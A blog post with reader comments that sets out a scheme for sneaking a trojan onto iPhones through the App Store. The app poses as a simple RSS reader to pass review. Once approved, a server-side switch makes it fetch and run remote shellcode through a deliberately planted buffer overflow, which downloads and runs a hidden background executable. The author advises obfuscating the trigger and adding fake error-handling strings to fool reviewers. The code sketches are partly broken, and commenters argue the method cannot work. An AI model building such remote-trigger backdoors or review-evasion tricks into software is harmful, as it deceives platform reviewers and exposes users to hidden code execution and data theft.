iPhone Background Apps Without Jailbreaking Or Push

This is an experimental way to accomplish the implementation of a background app/daemon on an Apple iPhone. As of this writing, the iPhone SDK does not allow the development of “true” Unix-style background processes (daemons) within the iPhone OS (which itself is based on Darwin Unix).

This method includes some advanced programming topics, such as shellcode and therefore requires some basic assembly experience, Unix system call knowledge, and optimally some ARM experience.

Obligatory Disclaimer

This is a theory and therefore only published for experimental purposes – don’t actually implement any of these methods unless you have money for a lawyer or otherwise wish to royally piss off Apple. I’m not responsible if you break something.

If you don’t know what you’re doing, then don’t do it.

Overview

Right. With the disclaimer out of the way, let’s talk about what exactly we want to accomplish and the obstacles we face in trying to do this:

  • Write an app that runs a background app/daemon on the iPhone
  • Avoid detection by Apple via code obfuscation
  • Get the app on the app store
  • …and don’t get sued in the process

Don’t Get Caught

Running a background daemon in any Unix-based OS is not very hard, but trying to do it on Apple’s beloved (and thoroughly locked-down) iPhone OS without jailbreaking it first is going to be difficult without some fancy code obfuscation.

But, that said, there is a will and there is a way.

The Basic Example

So let’s say we want a background app that (for the sake of example) logs the time and date to a file every hour on the hour, even while running another app in the foreground. We’ll call it “Logger”, because I lack nomenclature creativity.

The aim for the app is to run in the background and log to a text file, presumably stored within the default Logger.app directory. But, Apple frowns on running apps in the background, so this is where creativity and psychology comes into play.

We know what we want to do, but we don’t want Apple to know what we want to do. So before we go any further, let’s talk about what Apple sees when they review the app.

Knowing What Apple Is Looking For

When you upload your application to Apple via iTunes connect and it’s “in review”, Apple tears the app apart.

I’m talking disassembly, I/O monitoring, CPU usage monitoring, and detailed network analysis. They will know every Darwin/Mach system call your application is making, and the conditional logic behind them.

(For a detailed diagram of how these compare with the iPhone SDK and the Objective-C runtime, refer to this post by yours truly, which provides a detailed overview of the iPhone architecture.)

So putting any of your daemon’s desired background code within your app as it goes up for review is a bad idea. The system calls and nature of the code will surely raise a red flag during review and they’ll pull the app (and note the action on your developer profile).

But, with a little trickery, we can still get the app to pass through Apple as “legit” while accomplishing what we wish to after app approval.

The Front

If we just submit a raw-dog app that does nothing but loop a function that looks suspiciously like a daemon, even all the obfuscation in the world won’t hide what we’re trying to get away with.

Furthermore, it would not be a “true” background process since the app terminates itself to yield to others eventually upon the press of the menu button (effectively killing all execution and child processes).

So, let’s introduce a “front”. Ever watched the Godfather or a similar mafia movie? Fronts were those small businesses that were merely a legitimate-looking, money-laundering front to a gambling or alcohol racket. And that’s exactly what this app needs to be in order to hide what’s really going on behind the scenes.

The “front” in our app will be a web view and RSS feed client. We’re going to make it look like our app simply displays a simple web view that follows a link from an RSS feed, with some custom logos around it and all to make it look legit. Simple enough, right?

The Switch

So our app currently appears to be a simple RSS client that opens up a web view from the news feed of our website. And that’s exactly what it will do, until we make the “switch” for it to do what we intended for it to do all along.

The “trigger” for this is relatively simple: within the RSS client, put in a conditional that appears along the lines of this pseudo-code:


if (RSS feed is a redirect to /error.php) { // error.php is our remote and malicious script
NSString *fake = [NSString initWithString:@"There's an error"]; // Unused; Look genuine to Apple
// code to make the switch, detailed below
return;
}
// "else" continue happily as the simpleton RSS/UIWebView app

The aim here is this: after Apple approves the simple RSS client app and it hits the store, we can manually redirect the RSS feed to /error.php, thus satisfying the condition and making the switch.

Leaving out the else makes it less obvious that we’re changing the course of the app if the condition is satisfied, with the return statement doing the else‘s job just the same (and obfuscated at the assembly level).

The unused NSString within the satisfied error conditional is to make it look like we’re going to really handle an error, as Apple would see it during the inspection process.

So, how do we do this almighty “switch”? This is the tricky part…

Implementing The Switch

Switching from a “dumb” RSS reader to the initialization of a Unix daemon is no easy task to hide from Apple, so we have to get really creative. The solution is to use Shellcode, which is a set of executable (ARM) opcodes placed into “read-only” buffer and executed.

Refer to this paper to brush up on shellcode implementation. The opcodes in the guide are for x86, but a cross-compiler would allow easy development of an ARM executable for what you desire.

So we’d make our /error.php webpage return some ARM opcodes, and “accidentally” execute them on the iPhone like this:


// beginning where we left off...
if (RSS feed is a redirect to /error.php) {
NSString *fake = [NSString initWithString:@"There's an error"]; // Unused; Look genuine to Apple
// switch code:
char exe[1][BUF]; // Array of C-strings, each of size BUF (defined elsewhere)
exe[0] = http_read('site.com/error.php'); // more on this below
/* appear to do something with exe[0], then: */
        int (*sh)(); // setup shellcode function pointer
        ret = (sh(*)())exe[1]; // *oops*
        (int)(*ret)(); // could even be obfuscated even further; details below
return;
}

That was the unobfuscated version of what aims to execute code retrieved from our php script, error.php:



So the error.php that was valid during app review gets changed to the now-malicious script above upon the app’s deployment on the app store, and the app insecurely reads the octets returned from it into a buffer. The for loop fills up exe[0], then exe[1] gets the executable “payload” code that we run on the device.

This can be a shell, the daemon itself, or a downloader for the actual daemon (as I describe below).

How It All Comes Together

The app is published as a generic RSS and UIWebView client, but after app store approval, a change made on the remote server (redirecting the RSS feed to the newly malicious /error.php) makes the iPhone app discreetly execute any code you wish via an obfuscated shellcode trick and an “accidental” buffer overflow.

The C code I provided above was not obfuscated enough, and would more than likely raise a red flag for your app during approval. Obfuscate it more with a purposely-insecure sprintf() function misuse or mixing valid and invalid uses of function pointers within your code to mask the switch even more.

Also, if your **exe string gets placed into a read-only stack section of the resulting executable, you may have to do some manual assembly editing and linking.

Shellcode contents

As for the shellcode itself, I recommend this: have error.php provide the shellcode of `wget ` and `exec()`, where the file in question is a precompiled ARM executable that you wish to run in the background.

This circumvents having to use any of your daemon’s code within your app (visible by Apple eyes), and also allows a stealthier way of doing what you want to go unnoticed.

In the case of our “Logger” example, the shellcode would download a precompiled ARM executable that does what we want it to do, and the shellcode downloaded from error.php would be the opcode-representation of the following pseudo-code:


if(the ARM executable is already present):
execute it // system("./logger &"); <- the '&' is bourne for "background"
else:
download the logger executable from the server and execute it in the background

Even better, you can change error.php's shellcode to do something else later. Beat the two week app store update review process, doesn't it? ;)

Final Notes

This is a very hackish way to execute whatever code you want on an iPhone without jailbreaking it (and even distributing it via the app store!)

Just remember: provide a pretty good front so Apple thinks its a legitimate program, and obfuscate your intentions however you can. Provide real-looking strings that make it look like the "error handler" (A.K.A. "switch" as I called it here) look like a non-malicious piece of code.

Security specialists are going to die when they read this. This clearly details how to run any code you wish within the background of the iPhone, and even do so via the app store.

So if Johhny Blackhat wants your iCal entries, all he's got to do is write up some shellcode to get it, have a free game on the app store download and execute it while you play his "game".

I wouldn't be surprised if I'm not the first one to think of this, or if people have been doing this already.

The biggest thing is having the ability to change the entire app's execution based on a remote change. This is key in allowing the app to look legit during approval, yet allowing your dirty work to continue once it goes live on the App Store.

And with so many apps out there, nobody at Apple will have time to verify that all of them are legit.

Just remember: I'll take credit for being the first to realize and publish how to implement this, but I don't accept any responsibility for how people use/misue this ;)



About Anthony:



Anthony Cargile is the founder and former editor-in-chief of The Coffee Desk. He is currently employed by a private company as an e-commerce web designer, and has extensive experience in many programming languages, networking technologies and operating system theory and design. He currently develops for several open source projects in his free time from school and work.

Written by:

- who has written 51 posts on The Coffee Desk.

Anthony Cargile is the founder and former editor-in-chief of The Coffee Desk. He is currently employed by a private company as an e-commerce web designer, and has extensive experience in many programming languages, networking technologies and operating system theory and design. He currently develops for several open source projects in his free time from school and work.

3 Responses

  • st3fan says:

    You keep trying, eh?

    Shared libraries do not work for third-library apps. They are blocked. Also, there is no such thing as a ‘suid share library’.

    The rest of your reply is again based on false assumptions and speculation. If you think you have found a security issue then show some proof of concept code.

    http://stefan.arentz.ca/2009/08/06/iphone-daemons

  • Anthony says:

    Then consider this: if there were an alternative way to execute code on the machine, such as saving it to disk and manually loading and executing it, then you could still retrieve the Address Book entries without exploiting a chroot break and going nuts on all the readable files in the system.

    Perhaps an exploitable suid share library within the chrooted ~/Library would allow this sort of thing to happen. I don’t have the time or resources to sit and tinker with it, but given the legions of bugs exploited from an x86 system I’m sure there are thousands to be found in the ARM system to the point where you could do what you want with it upon finding one.

    Just look at the recent SMS bug, for instance.

    So its only a matter of time before either this or something along these lines becomes a reality, as it already has. I’m just trying to get creative in how it would be implemented, and just remember: these smartphones and embedded devices are the next security nightmare, probably just as bad as a Windows PC was a couple of years ago.

    Popularity in a given product draws interest in
    it and in the security of it as well. And like I said – there’s a will, so there is most certainly a way in there somewhere ;)

    I just had a theory that could still potentially work with the circumvention of NX’ing, chrooting, etc.

  • st3fan says:

    Nice theory but in practice none of these hacks will work.

    First of all, the iPhone has a non-executable heap and stack. So there is no way to load code into a buffer and then execute it. The system will simply not allow it.

    Second, even if you download code to disk and then try to exec() it, the system will block it. The iPhone uses a very restricted environment and certain syscalls, like fork() and exec*(), are simply now allowed. This also means that system() will not work since it depends on those syscalls.

    Third, even if you manage to get code running, your app is executed in a chrooted environment. This means that it can only see its own app directory and a minimal ~/Library directory to store app preferences and files.

    Your claim that someone can use this method to for example access your iCal is therefore also false. There is no way to access the iCal database since it lives outside of the chrooted app executing environment.

    If you somehow manage to execute malicious code then the most damage you can do is through the available APIs. This means networking, Address Book, maybe the iTunes library. Not super exciting.

    Nice try, but no cigar.

Leave a Comment